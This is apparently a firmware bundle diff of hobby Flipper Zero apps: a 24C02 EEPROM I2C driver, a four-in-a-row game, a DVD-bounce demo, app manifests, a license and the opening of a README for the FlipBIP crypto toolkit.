bool EEPROM24C02::readByte(uint8_t memory_addr, uint8_t& data) {
furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
// Send memory address first
bool success_tx = furi_hal_i2c_tx_ext(
&furi_hal_i2c_handle_external,
_i2c_addr_8bit,
false,
&memory_addr,
1,
FuriHalI2cBeginStart,
FuriHalI2cEndAwaitRestart,
EEPROM_I2C_TIMEOUT);
// Read the data
bool success_rx = false;
if(success_tx) {
success_rx = furi_hal_i2c_rx_ext(
&furi_hal_i2c_handle_external,
_i2c_addr_8bit,
false,
&data,
1,
FuriHalI2cBeginRestart,
FuriHalI2cEndStop,
EEPROM_I2C_TIMEOUT);
}
furi_hal_i2c_release(&furi_hal_i2c_handle_external);
return success_tx && success_rx;
}
bool EEPROM24C02::writeByte(uint8_t memory_addr, uint8_t data) {
uint8_t write_buffer[2];
write_buffer[0] = memory_addr;
write_buffer[1] = data;
furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
bool success = furi_hal_i2c_tx_ext(
&furi_hal_i2c_handle_external,
_i2c_addr_8bit,
false,
write_buffer,
2,
FuriHalI2cBeginStart,
FuriHalI2cEndStop,
EEPROM_I2C_TIMEOUT);
furi_hal_i2c_release(&furi_hal_i2c_handle_external);
if(success) {
// Wait for write cycle to complete (typically 5ms for 24C02)
furi_delay_ms(10);
}
return success;
}
bool EEPROM24C02::readBytes(uint8_t start_addr, uint8_t* buffer, uint8_t length) {
if(length == 0 || buffer == nullptr) return false;
furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
// Send start address
bool success_tx = furi_hal_i2c_tx_ext(
&furi_hal_i2c_handle_external,
_i2c_addr_8bit,
false,
&start_addr,
1,
FuriHalI2cBeginStart,
FuriHalI2cEndAwaitRestart,
EEPROM_I2C_TIMEOUT);
// Sequential read
bool success_rx = false;
if(success_tx) {
success_rx = furi_hal_i2c_rx_ext(
&furi_hal_i2c_handle_external,
_i2c_addr_8bit,
false,
buffer,
length,
FuriHalI2cBeginRestart,
FuriHalI2cEndStop,
EEPROM_I2C_TIMEOUT);
}
furi_hal_i2c_release(&furi_hal_i2c_handle_external);
return success_tx && success_rx;
}
bool EEPROM24C02::writeBytes(uint8_t start_addr, const uint8_t* buffer, uint8_t length) {
if(length == 0 || buffer == nullptr) return false;
// 24C02 has 8-byte page size - we need to handle page boundaries
uint8_t bytes_written = 0;
while(bytes_written < length) {
uint8_t current_addr = start_addr + bytes_written;
uint8_t page_offset = current_addr % EEPROM_24C02_PAGE_SIZE;
uint8_t bytes_in_page = EEPROM_24C02_PAGE_SIZE - page_offset;
uint8_t bytes_to_write =
(length - bytes_written < bytes_in_page) ? (length - bytes_written) : bytes_in_page;
// Prepare write buffer for this page
uint8_t write_buffer[EEPROM_24C02_PAGE_SIZE + 1]; // +1 for address
write_buffer[0] = start_addr + bytes_written;
for(uint8_t i = 0; i < bytes_to_write; i++) {
write_buffer[i + 1] = buffer[bytes_written + i];
}
furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
bool success = furi_hal_i2c_tx_ext(
&furi_hal_i2c_handle_external,
_i2c_addr_8bit,
false,
write_buffer,
bytes_to_write + 1,
FuriHalI2cBeginStart,
FuriHalI2cEndStop,
EEPROM_I2C_TIMEOUT);
furi_hal_i2c_release(&furi_hal_i2c_handle_external);
if(!success) {
return false;
}
// Wait for write cycle to complete
furi_delay_ms(10);
bytes_written += bytes_to_write;
}
return true;
}
bool EEPROM24C02::eraseAll() {
// Fill entire memory with 0xFF
uint8_t erase_buffer[EEPROM_24C02_PAGE_SIZE];
for(uint8_t i = 0; i < EEPROM_24C02_PAGE_SIZE; i++) {
erase_buffer[i] = 0xFF;
}
// Erase page by page
for(uint8_t page = 0; page < EEPROM_24C02_SIZE / EEPROM_24C02_PAGE_SIZE; page++) {
uint8_t start_addr = page * EEPROM_24C02_PAGE_SIZE;
if(!writeBytes(start_addr, erase_buffer, EEPROM_24C02_PAGE_SIZE)) {
return false;
}
}
return true;
}
bool EEPROM24C02::eraseRange(uint8_t start_addr, uint8_t length) {
if(length == 0) return false;
// Check if range goes beyond memory
uint16_t end_addr = (uint16_t)start_addr + length;
if(end_addr > EEPROM_24C02_SIZE) {
length = EEPROM_24C02_SIZE - start_addr;
}
// Fill range with 0xFF
uint8_t erase_buffer[EEPROM_24C02_PAGE_SIZE];
for(uint8_t i = 0; i < EEPROM_24C02_PAGE_SIZE; i++) {
erase_buffer[i] = 0xFF;
}
return writeBytes(start_addr, erase_buffer, length);
}
void EEPROM24C02::setAddress(uint8_t i2c_address_7bit) {
_i2c_addr_8bit = i2c_address_7bit << 1;
}
uint8_t EEPROM24C02::getAddress() {
return _i2c_addr_8bit >> 1;
}
@@ -0,0 +1,54 @@
#pragma once
#include <stdint.h>
#include <stdbool.h>
// 24C02 EEPROM I2C addresses (7-bit)
// Standard addresses: 0x50-0x57 (A0-A2 pins)
#define EEPROM_24C02_BASE_ADDR 0x50
#define EEPROM_24C02_MAX_ADDR 0x57
// Memory size for 24C02
#define EEPROM_24C02_SIZE 256 // 2KB = 2048 bits = 256 bytes
#define EEPROM_24C02_PAGE_SIZE 8 // Page write size
// I2C operation timeout
#define EEPROM_I2C_TIMEOUT 100
class EEPROM24C02 {
private:
uint8_t _i2c_addr_8bit;
public:
EEPROM24C02(uint8_t i2c_address_7bit);
// Initialize communication with EEPROM
bool init();
// Read single byte from address
bool readByte(uint8_t memory_addr, uint8_t& data);
// Write single byte to address
bool writeByte(uint8_t memory_addr, uint8_t data);
// Read multiple bytes (sequential read)
bool readBytes(uint8_t start_addr, uint8_t* buffer, uint8_t length);
// Write multiple bytes (page write)
bool writeBytes(uint8_t start_addr, const uint8_t* buffer, uint8_t length);
// Erase entire memory (fill with 0xFF)
bool eraseAll();
// Erase range of bytes
bool eraseRange(uint8_t start_addr, uint8_t length);
// Check if EEPROM is responding
bool isAvailable();
// Set I2C address
void setAddress(uint8_t i2c_address_7bit);
// Get current I2C address
uint8_t getAddress();
};
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,81 @@
#pragma once
#include <gui/canvas.h>
static const uint8_t image_DolphinMafia_0_bits[] = {
0x00, 0x00, 0x00, 0x00, 0xf0, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0e, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xe0, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xfe, 0x7f, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x55,
0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xae, 0xaa, 0x00,
0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x55, 0x55, 0x15, 0x00,
0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xaa, 0x2a, 0x00, 0x00, 0x04,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x55, 0x55, 0x55, 0x00, 0x08, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0xaa, 0x2a, 0x00, 0x00, 0x08, 0xff, 0x3f,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x55, 0x55, 0x55, 0x00, 0xf8, 0x00, 0xc0, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0xaa, 0x2a, 0x00, 0x00, 0x10, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x55, 0x55, 0x55, 0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xa0, 0xaa, 0x2a, 0x00, 0x00, 0x20, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x60, 0xd5, 0xff, 0xff, 0x3f, 0x20, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xa0, 0xfa, 0xff, 0xff, 0xff, 0xff, 0x03, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x60, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xe0, 0xff, 0xff, 0xbf, 0xaa, 0xaa, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0,
0xff, 0xff, 0x57, 0x55, 0x55, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xff,
0xff, 0xaa, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x5f,
0x15, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0xff, 0xaf, 0x02,
0xf8, 0x0f, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0x55, 0x01, 0xff,
0x1f, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xff, 0xff, 0x2a, 0xc0, 0x0f, 0xf8,
0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0xff, 0x5f, 0x15, 0xf0, 0x0f, 0xf8, 0x0f,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xf8, 0xff, 0xaf, 0x02, 0xf8, 0x0f, 0x1c, 0x0e, 0x1f,
0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0xfc, 0xff, 0x57, 0x15, 0xf8, 0x1f, 0x1e, 0xfe, 0x60, 0x00,
0x00, 0x00, 0xd6, 0x00, 0x50, 0xfe, 0xff, 0xab, 0xff, 0xff, 0xff, 0x0f, 0x0f, 0x80, 0x00, 0x00,
0x80, 0x01, 0xc8, 0x4e, 0xfe, 0xff, 0xf5, 0x17, 0xf0, 0xff, 0xcf, 0x00, 0x00, 0x01, 0x00, 0x40,
0x00, 0x00, 0x20, 0xff, 0xff, 0xfb, 0x00, 0xe0, 0xff, 0x07, 0x00, 0x60, 0x01, 0x00, 0x20, 0x00,
0x00, 0x18, 0xff, 0xff, 0x5d, 0x05, 0xc0, 0xff, 0x03, 0x00, 0x70, 0xe1, 0x07, 0xa0, 0xa3, 0xb0,
0x06, 0xff, 0xff, 0xaa, 0x00, 0x80, 0xff, 0x01, 0x00, 0xfc, 0x01, 0x00, 0x60, 0x00, 0x00, 0x00,
0xff, 0xff, 0x5d, 0x05, 0xc0, 0x7f, 0x00, 0x00, 0xb3, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0xfe,
0xff, 0xae, 0x00, 0x20, 0x60, 0x00, 0xc0, 0x80, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x9f,
0x55, 0x05, 0x10, 0x40, 0x00, 0x30, 0x80, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x80, 0xaa,
0x00, 0x10, 0x00, 0x00, 0x0c, 0x80, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x80, 0x55, 0x05,
0x00, 0x00, 0x00, 0x03, 0x40, 0x00, 0x80, 0x10, 0x00, 0x00, 0x00, 0x00, 0x80, 0xaa, 0x00, 0x00,
0x02, 0x80, 0x00, 0x20, 0x00, 0x40, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0x05, 0x00, 0x02,
0x60, 0x00, 0x10, 0x00, 0x40, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0xab, 0x00, 0x00, 0x0c, 0x18,
0x00, 0x0c, 0x00, 0x20, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0x15, 0x00, 0xf0, 0x07, 0x00,
0x03, 0xc0, 0x11, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0xab, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00,
0x20, 0x16, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0x15, 0x00, 0x00, 0x00, 0x30, 0x00, 0x20,
0x08, 0x21, 0x00, 0x00, 0x00, 0x00, 0x80, 0xab, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x20, 0x80,
0x40, 0x00, 0x00, 0x00, 0x00, 0x40, 0x5d, 0x15, 0x00, 0x00, 0x00, 0x03, 0x00, 0x40, 0x80, 0x80,
0x00, 0x00, 0x00, 0x00, 0xc0, 0xea, 0x02, 0x00, 0x00, 0xc0, 0x07, 0x00, 0x40, 0x40, 0x00, 0x01,
0x00, 0x00, 0x00, 0x40, 0x55, 0x57, 0x00, 0x00, 0xf8, 0x07, 0x00, 0x80, 0x40, 0x00, 0x01, 0x00,
0x00, 0x00, 0xc0, 0xaa, 0x3a, 0x00, 0x00, 0xfe, 0x05, 0x00, 0x80, 0x40, 0x00, 0x01, 0x00, 0x00,
0x00, 0xe0, 0x55, 0xd5, 0x01, 0x00, 0xfc, 0x05, 0x00, 0x80, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00,
0xf0, 0xab, 0x0a, 0x1e, 0x00, 0x70, 0x0c, 0x00, 0x80, 0x00, 0x81, 0x00, 0x00, 0x00, 0x00, 0xd8,
0x57, 0x55, 0xe1, 0x01, 0x00, 0x14, 0x00, 0x80, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0xec, 0xaf,
0x0a, 0x00, 0xfe, 0x07, 0x14, 0x00, 0xe0, 0x00, 0x7c, 0x00, 0x00, 0x00, 0x00, 0xf2, 0x7f, 0x55,
0x05, 0x00, 0x18, 0x24, 0x00, 0x10, 0x01, 0x20, 0x00, 0x00, 0x00, 0x00, 0xeb, 0xff, 0x0a, 0x00,
0x00, 0x20, 0x22, 0x00, 0x08, 0x02, 0x20, 0x00, 0x00, 0x00, 0x00, 0xf5, 0xff, 0x55, 0x05, 0x00,
0x48, 0x22, 0x00, 0x04, 0x04, 0x10, 0x00, 0x00, 0x00, 0x80, 0xfa, 0xff, 0x0f, 0x00, 0x00, 0x8c,
0x42, 0x00, 0x06, 0x08, 0x08, 0x00, 0x00, 0x00, 0x40, 0xf5, 0xff, 0x5f, 0x15, 0x00, 0x06, 0x4b,
0x80, 0x09, 0x30, 0x04, 0x00, 0x00, 0x00, 0xc0, 0xfa, 0xff, 0xea, 0x00, 0x00, 0x07, 0x52, 0x40,
0x10, 0xc0, 0x06, 0x00, 0x00, 0x00, 0x60, 0xf5, 0x7f, 0x55, 0x17, 0x80, 0x0f, 0x72, 0x30, 0x20,
0x00, 0x07, 0x00, 0x00, 0x00, 0xb0, 0xfa, 0xbf, 0xaa, 0x38, 0xc0, 0x1f, 0xf4, 0xac, 0x42, 0x00,
0x04, 0x00, 0x00, 0x00, 0x50, 0xf5, 0x5f, 0x55, 0xd5, 0xe1, 0x3f, 0x74, 0x57, 0x81, 0x01, 0x02,
0x00, 0x00, 0x00, 0xa8, 0xfa, 0xaf, 0xaa, 0x80, 0xf3, 0x7f, 0xf8, 0xaa, 0x0a, 0x06, 0x01, 0x00,
0x00, 0x00};
void drawScreen_1(Canvas* canvas) {
canvas_set_bitmap_mode(canvas, true);
// Layer 3
canvas_set_font(canvas, FontPrimary);
canvas_draw_str(canvas, 86, 22, "24cXX ");
// Layer 3
canvas_draw_str(canvas, 77, 10, "Dr.Mosfet ");
// Layer 4
canvas_draw_str(canvas, 67, 34, "Programmer");
// DolphinMafia
canvas_draw_xbm(canvas, -9, 12, 119, 62, image_DolphinMafia_0_bits);
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 86 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

+325
View File
@@ -0,0 +1,325 @@
#include <stdio.h>
#include <furi.h>
#include <gui/gui.h>
#include <input/input.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
#include <dolphin/dolphin.h>
static int matrix[6][7] = {0};
static int cursorx = 3;
static int cursory = 5;
static int player = 1;
static int scoreX = 0;
static int scoreO = 0;
typedef struct {
FuriMutex* mutex;
} FourInRowState;
void init() {
for(size_t i = 0; i < 6; i++) {
for(size_t j = 0; j < 7; j++) {
matrix[i][j] = 0;
}
}
cursorx = 3;
cursory = 5;
player = 1;
}
const NotificationSequence end = {
&message_vibro_on,
&message_note_ds4,
&message_delay_10,
&message_sound_off,
&message_delay_10,
&message_note_ds4,
&message_delay_10,
&message_sound_off,
&message_delay_10,
&message_note_ds4,
&message_delay_10,
&message_sound_off,
&message_delay_10,
&message_vibro_off,
NULL,
};
void intToStr(int num, char* str) {
int i = 0, sign = 0;
if(num < 0) {
num = -num;
sign = 1;
}
do {
str[i++] = num % 10 + '0';
num /= 10;
} while(num > 0);
if(sign) {
str[i++] = '-';
}
str[i] = '\0';
// Reverse the string
int j, len = i;
char temp;
for(j = 0; j < len / 2; j++) {
temp = str[j];
str[j] = str[len - j - 1];
str[len - j - 1] = temp;
}
}
int next_height(int x) {
if(matrix[0][x] != 0) {
return -1;
}
for(size_t y = 1; y < 6; y++) {
if(matrix[y][x] != 0) {
return y - 1;
}
}
return 5;
}
int wincheck() {
for(size_t y = 0; y <= 2; y++) {
for(size_t x = 0; x <= 6; x++) {
if(matrix[y][x] != 0 && matrix[y][x] == matrix[y + 1][x] &&
matrix[y][x] == matrix[y + 2][x] && matrix[y][x] == matrix[y + 3][x]) {
return matrix[y][x];
}
}
}
for(size_t y = 0; y <= 5; y++) {
for(size_t x = 0; x <= 3; x++) {
if(matrix[y][x] != 0 && matrix[y][x] == matrix[y][x + 1] &&
matrix[y][x] == matrix[y][x + 2] && matrix[y][x] == matrix[y][x + 3]) {
return matrix[y][x];
}
}
}
for(size_t y = 0; y <= 2; y++) {
for(size_t x = 0; x <= 3; x++) {
if(matrix[y][x] != 0 && matrix[y][x] == matrix[y + 1][x + 1] &&
matrix[y][x] == matrix[y + 2][x + 2] && matrix[y][x] == matrix[y + 3][x + 3]) {
return matrix[y][x];
}
}
}
for(size_t y = 3; y <= 5; y++) {
for(size_t x = 0; x <= 3; x++) {
if(matrix[y][x] != 0 && matrix[y][x] == matrix[y - 1][x + 1] &&
matrix[y][x] == matrix[y - 2][x + 2] && matrix[y][x] == matrix[y - 3][x + 3]) {
return matrix[y][x];
}
}
}
bool tf = true;
for(size_t y = 0; y < 6; y++) {
for(size_t x = 0; x < 7; x++) {
if(matrix[y][x] == 0) {
tf = false;
}
}
}
if(tf) {
return 0;
}
return -1;
}
static void draw_callback(Canvas* canvas, void* ctx) {
furi_assert(ctx);
const FourInRowState* fourinrow_state = ctx;
furi_mutex_acquire(fourinrow_state->mutex, FuriWaitForever);
canvas_clear(canvas);
if(wincheck() != -1) {
canvas_set_font(canvas, FontPrimary);
if(wincheck() == 0) {
canvas_draw_str(canvas, 30, 35, "Draw! O_o");
}
if(wincheck() == 1) {
canvas_draw_str(canvas, 30, 35, "Player X win!");
}
if(wincheck() == 2) {
canvas_draw_str(canvas, 30, 35, "Player O win!");
}
furi_mutex_release(fourinrow_state->mutex);
return;
}
for(size_t i = 0; i < 6; i++) {
for(size_t j = 0; j < 7; j++) {
char el[2];
switch(matrix[i][j]) {
case 0:
strcpy(el, "_\0");
break;
case 1:
strcpy(el, "X\0");
break;
case 2:
strcpy(el, "O\0");
break;
}
canvas_draw_str(canvas, j * 10 + 10, i * 10 + 10, el);
}
}
canvas_draw_str(canvas, cursorx * 10 + 8, cursory * 10 + 10, "[ ]");
if(player == 1) {
canvas_draw_str(canvas, 80, 10, "Turn: X");
}
if(player == 2) {
canvas_draw_str(canvas, 80, 10, "Turn: O");
}
char scX[1];
intToStr(scoreX, scX);
char scO[1];
intToStr(scoreO, scO);
canvas_draw_str(canvas, 80, 20, "X:");
canvas_draw_str(canvas, 90, 20, scX);
canvas_draw_str(canvas, 80, 30, "O:");
canvas_draw_str(canvas, 90, 30, scO);
furi_mutex_release(fourinrow_state->mutex);
}
static void input_callback(InputEvent* input_event, void* ctx) {
// Проверяем, что контекст не нулевой
furi_assert(ctx);
FuriMessageQueue* event_queue = ctx;
furi_message_queue_put(event_queue, input_event, FuriWaitForever);
}
int32_t four_in_row_app(void* p) {
UNUSED(p);
// Текущее событие типа InputEvent
InputEvent event;
// Очередь событий на 8 элементов размера InputEvent
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
FourInRowState* fourinrow_state = malloc(sizeof(FourInRowState));
fourinrow_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); // Alloc Mutex
if(!fourinrow_state->mutex) {
FURI_LOG_E("4inRow", "cannot create mutex\r\n");
furi_message_queue_free(event_queue);
free(fourinrow_state);
return 255;
}
dolphin_deed(DolphinDeedPluginGameStart);
// Создаем новый view port
ViewPort* view_port = view_port_alloc();
// Создаем callback отрисовки, без контекста
view_port_draw_callback_set(view_port, draw_callback, fourinrow_state);
// Создаем callback нажатий на клавиши, в качестве контекста передаем
// нашу очередь сообщений, чтоб запихивать в неё эти события
view_port_input_callback_set(view_port, input_callback, event_queue);
// Создаем GUI приложения
Gui* gui = furi_record_open(RECORD_GUI);
// Подключаем view port к GUI в полноэкранном режиме
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION);
notification_message_block(notification, &sequence_display_backlight_enforce_on);
// Бесконечный цикл обработки очереди событий
while(1) {
// Выбираем событие из очереди в переменную event (ждем бесконечно долго, если очередь пуста)
// и проверяем, что у нас получилось это сделать
if(furi_message_queue_get(event_queue, &event, FuriWaitForever) == FuriStatusOk) {
if((event.type == InputTypePress) && (event.key == InputKeyBack)) {
break;
}
furi_mutex_acquire(fourinrow_state->mutex, FuriWaitForever);
if(wincheck() != -1) {
notification_message(notification, &end);
furi_delay_ms(1000);
if(wincheck() == 1) {
scoreX++;
}
if(wincheck() == 2) {
scoreO++;
}
init();
furi_mutex_release(fourinrow_state->mutex);
continue;
}
if(event.type == InputTypePress) {
if(event.key == InputKeyOk) {
int nh = next_height(cursorx);
if(nh != -1) {
matrix[nh][cursorx] = player;
player = 3 - player;
}
}
if(event.key == InputKeyUp) {
//cursory--;
}
if(event.key == InputKeyDown) {
//cursory++;
}
if(event.key == InputKeyLeft) {
if(cursorx > 0) {
cursorx--;
}
}
if(event.key == InputKeyRight) {
if(cursorx < 6) {
cursorx++;
}
}
}
furi_mutex_release(fourinrow_state->mutex);
}
view_port_update(view_port);
}
// Чистим созданные объекты, связанные с интерфейсом
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
view_port_free(view_port);
furi_message_queue_free(event_queue);
furi_record_close(RECORD_GUI);
// Clear notification
notification_message_block(notification, &sequence_display_backlight_enforce_auto);
furi_record_close(RECORD_NOTIFICATION);
furi_mutex_free(fourinrow_state->mutex);
free(fourinrow_state);
return 0;
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 200 B

@@ -0,0 +1 @@
Four in row for flipper zero!!
@@ -0,0 +1,17 @@
App(
appid="4inrow",
name="4 in row",
apptype=FlipperAppType.EXTERNAL,
entry_point="four_in_row_app",
requires=[
"gui",
],
stack_size=1 * 1024,
order=90,
fap_icon="4inrow_10px.png",
fap_category="Games",
fap_author="leo-need-more-coffee",
fap_weburl="https://github.com/leo-need-more-coffee/flipperzero-4inrow",
fap_version="1.3",
fap_description="4 in row Game",
)
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

+6
View File
@@ -0,0 +1,6 @@
# Flipper-DVD-Bounce
**simple dvd-bounce application for flipper**
Y'know how dvd players got that thing that bounces around?
*This is that*
@@ -0,0 +1,15 @@
# qv. https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/AppManifests.md
App(
appid="dvd_bounce",
name="DVD Bouncer",
apptype=FlipperAppType.EXTERNAL,
entry_point="bounce_moment",
requires=[
"gui",
],
stack_size=1 * 1024,
fap_icon="iconimage.png",
fap_category="Games",
fap_icon_assets="assets",
)
Binary file not shown.

After

Width:  |  Height:  |  Size: 3.5 KiB

+142
View File
@@ -0,0 +1,142 @@
#include <string.h>
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <input/input.h>
#include "dvd_bounce_icons.h"
//init some variables
int x = 0;
int y = 0;
int mode = 0;
bool bounce_up = false;
bool bounce_right = true;
char mode_str[12];
//the thing to draw to the screen
static void app_draw_callback(Canvas* canvas, void* ctx) {
UNUSED(ctx);
canvas_clear(canvas);
//draws the ball to positions x and y
canvas_draw_icon(canvas, x, y, &I_Ok_btn_pressed_13x13);
//displays the current mode
canvas_set_font(canvas, FontSecondary);
canvas_draw_str(canvas, 2, 8, "Mode:");
//converts mode int to string
itoa(mode, mode_str, 10);
canvas_draw_str(canvas, 28, 8, mode_str);
switch(mode) {
case 1:
canvas_draw_str(canvas, 2, 16, "Left/Right");
break;
case 2:
canvas_draw_str(canvas, 2, 16, "Up/Down");
break;
default:
canvas_draw_str(canvas, 2, 16, "Normal");
break;
}
}
static void app_input_callback(InputEvent* input_event, void* ctx) {
furi_assert(ctx);
FuriMessageQueue* event_queue = ctx;
furi_message_queue_put(event_queue, input_event, FuriWaitForever);
}
int32_t bounce_moment(void* p) {
UNUSED(p);
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
// Configure viewport
ViewPort* view_port = view_port_alloc();
view_port_draw_callback_set(view_port, app_draw_callback, view_port);
view_port_input_callback_set(view_port, app_input_callback, event_queue);
// Register viewport in GUI
Gui* gui = furi_record_open(RECORD_GUI);
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
InputEvent event;
bool running = true;
while(running) {
if(furi_message_queue_get(event_queue, &event, 100) == FuriStatusOk) {
if((event.type == InputTypePress) || (event.type == InputTypeRepeat)) {
//arrows move the ball by 10 in their respective directions
switch(event.key) {
case InputKeyUp:
y += -10;
break;
case InputKeyDown:
y += 10;
break;
case InputKeyLeft:
x += -10;
break;
case InputKeyRight:
x += 10;
break;
//sets the ball to the middle of the screen and sets the current mode
case InputKeyOk:
x = 51;
y = 19;
if(mode == 2) {
mode = 0;
} else {
mode += 1;
}
break;
//exits the program if back is pressed
default:
running = false;
break;
}
}
}
//bunch of conditionals determining how the ball should move
if(x <= 0) {
bounce_up = false;
}
if(x >= 115) {
bounce_up = true;
}
if(y <= 0) {
bounce_right = true;
}
if(y >= 51) {
bounce_right = false;
}
if((bounce_up) && (mode != 2)) {
x += -1;
}
if((!bounce_up) && (mode != 2)) {
x += 1;
}
if((bounce_right) && (mode != 1)) {
y += 1;
}
if((!bounce_right) && (mode != 1)) {
y += -1;
}
view_port_update(view_port);
}
//cleanup go brrrrr
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
view_port_free(view_port);
furi_message_queue_free(event_queue);
furi_record_close(RECORD_GUI);
return 0;
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 170 B

+52
View File
@@ -0,0 +1,52 @@
# Prerequisites
*.d
# Object files
*.o
*.ko
*.obj
*.elf
# Linker output
*.ilk
*.map
*.exp
# Precompiled Headers
*.gch
*.pch
# Libraries
*.lib
*.a
*.la
*.lo
# Shared objects (inc. Windows DLLs)
*.dll
*.so
*.so.*
*.dylib
# Executables
*.exe
*.out
*.app
*.i*86
*.x86_64
*.hex
# Debug files
*.dSYM/
*.su
*.idb
*.pdb
# Kernel Module Compile Results
*.mod*
*.cmd
.tmp_versions/
modules.order
Module.symvers
Mkfile.old
dkms.conf
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2023 Struan Clark
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+58
View File
@@ -0,0 +1,58 @@
# FlipBIP - BIP32/39/44
https://github.com/xtruan/FlipBIP
## Crypto toolkit for Flipper Zero
- Using Trezor crypto libs from `core/v2.5.3` release
## Background
The goal of this project is to see how much crypto functionality can be brought to the Flipper Zero.
### Complete
- Trezor crypto C code ported into `crypto` subfolder
- Adapted to use Flipper hardware RNG (see `crypto/rand.c`)
